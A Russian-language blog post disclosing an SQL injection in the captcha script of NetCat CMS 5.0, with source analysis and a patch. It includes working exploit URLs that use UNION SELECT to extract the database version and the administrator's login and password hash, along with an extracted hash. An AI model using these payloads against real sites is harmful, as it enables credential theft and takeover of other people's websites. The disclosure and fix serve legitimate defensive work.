SQL Injection Netcat 5.0 Extra

6 комментариев

1287749460_netcat_4_logo
Не так давно я уже писал о том что находил уязвимость в CMS NetCat. Но сегодня вот, совершенно случайно нашел еще одну уязвимость класса SQL Injection.

Уязвимость работает только на серверах где PHP работает через CGI (или FastCGI), сервера с PHP подключенным через модуль апача неуязвимы. Также необходима отключенная дирректива magic_quotes_gpc.

Если прикинуть соотношение подключения PHP к апачу через CGI и через mod_php как 50 на 50, и если считать что magic_quotes отключенны тоже в половине случаев, то получаем 25% уязвимых сайтов.

На оффициальном сайте написанно:

в 2012 году сайтов, успешно работающих на нашей CMS, создано более 18 000

Получается около 4500 уязвимых сайтов.

Уязвимость находится в генерации и обработке капчи.
http://netcat/netcat/modules/captcha/img.php?code=1'
Результат эксплуатации уязвимости отображается довольно забавно — на картинке =)

Подробнее о том как оно работает, как эксплуатировать и как защитится, читайте под катом

Побудем хаккерами…

Эксплойт:
http://netcat/netcat/modules/captcha/img.php?code=1' AND 1=0 UNION SELECT SUBSTRING(VERSION(),1,7) -- x
Получаем вот такую вот забавную картинку:
netcat_sql_injection_version
(Правда прийдется доказать что Вы не робот, и прочитать надпись с этой картинки :D)

А вот так вот можно получить логин:хеш администратора:
http://netcat/netcat/modules/captcha/img.php?code=1' AND 1=0 UNION SELECT SUBSTRING(CONCAT(login,0x3a,password),1,10) FROM User WHERE User_id='1
И изменяя значения стартового символа в SUBSTRING получаем весь логин и весь хеш:

netcat_sql_injection_admin_1

netcat_sql_injection_admin_2

netcat_sql_injection_admin_3

netcat_sql_injection_admin_4

 

Правда прийдется мучаться с чтением полученных данных, но все же… В нашем случае получилось:

admin:21232f297a57a5a743894a0e4a801fc3

Как оно работает?

Я думал такие тупые банальные ошибки уже никто не совершает, но оказывается нееет.

Собственно исходник файла netcat/modules/captcha/img.php (строки 11-24)

//....
if (!empty($_GET['code'])) {
    $code = $_GET['code'];
} else {
    $code = '';
}
//....
    nc_captcha_image($code);
//....

Как видно для переменной $code отсутствует какая либо фильтрация.

Теперь файл netcat/modules/captcha/function.inc.php (строки 203-222, функция nc_captcha_image):

function nc_captcha_image($captcha_hash) {
    //....
    $captcha_code = $nc_core->db->get_var("SELECT `Captcha_Code` FROM `Captchas` WHERE `Captcha_Hash` = '".$captcha_hash."'");
    //....
    $captcha_image = imagecreate($img_width, $img_height);
    //....
    //Здесь происходит генерация капчи на основе значения $captcha_code
    //....
    return imagegif($captcha_image);
}

Здесь видно что для входной переменной также отсутствует фильтрация и она дальше передается в запрос к БД. А на основе результата выполнения данного запроса генерируется сама капча.

Вот так то.

Но почему же я в заголовке написал про то что работает это только для CGI? Потому что в .htaccess есть вот такая запись:
< mod_php5.c>
php_flag magic_quotes_gpc on
php_flag display_errors off
php_value error_reporting 0
php_value arg_separator.output "&"
php_value mbstring.internal_encoding UTF-8
php_value short_open_tag on
</IfModule>

Как видно, разработчики принудтельно включают magic_quotes_gpc. Но вот такая запись будет работать только для mod_php, соответственно для режима CGI данная запись влиять не будет.

Конечно данная запись не будет работать и под PHP 4, но врятли нынче можно встретить данного динозавра где-либо. Да и NetCat под ним скорее всего работать не будет.

Латаем дыры

Открываем файл netcat/modules/captcha/img.php и меняем строки 11-15

if (!empty($_GET['code'])) {
    $code = $_GET['code'];
} else {
    $code = '';
}

На вот такой код:

if (!empty($_GET['code']) && is_scalar($_GET['code']) && preg_match('#^[a-f0-9]{32}$#i', $_GET['code'])) {
    $code = $_GET['code'];
} else {
    $code = '';
}

Заключение

Возможно то, что существуют другие уязвимости основанные на том, что разработчики понадеялись что magic_quotes включен постоянно. Но проверять все файлы с целью обнаружения этих уязвимостей у меня нет ни сил ни желания.

Пишите правильный код =)

    1. Дмитрий Амиров Автор

      Друзья? Почему во множественном числе? Я один веду блог =)

      А вобще не за что, мне приятно помогать людям =)

  1. Stella Hardin

    Хуже всего, если проект разрабатывается вовсе без учёта магических кавычек. Если такой код попадает на сервер с другой настройкой magic_quotes_gpc, в лучшем случае к данным GPC будет подставляться обратный слеш, в худшем — будут доступны скрытые инъекции.

    1. Дмитрий Амиров Автор

      Да, вы абсолютно правы. Но здесь же получилась недореализация… или точнее «недоучет» магических кавычек на различных серверах.

Добавить комментарий

Прочли запись? Понравилась? Не стесняйтесь, оставьте, пожалуйста, свой комментарий. Мне очень интересно, что вы думаете об этом. Кстати в комментарии вы можете задать мне любой вопрос. Я обязательно отвечу.

Вы можете оставить коментарий анонимно, для этого можно не указывать Имя и email. Все комментарии проходят модерацию, поэтому ваш комментарий появится не сразу.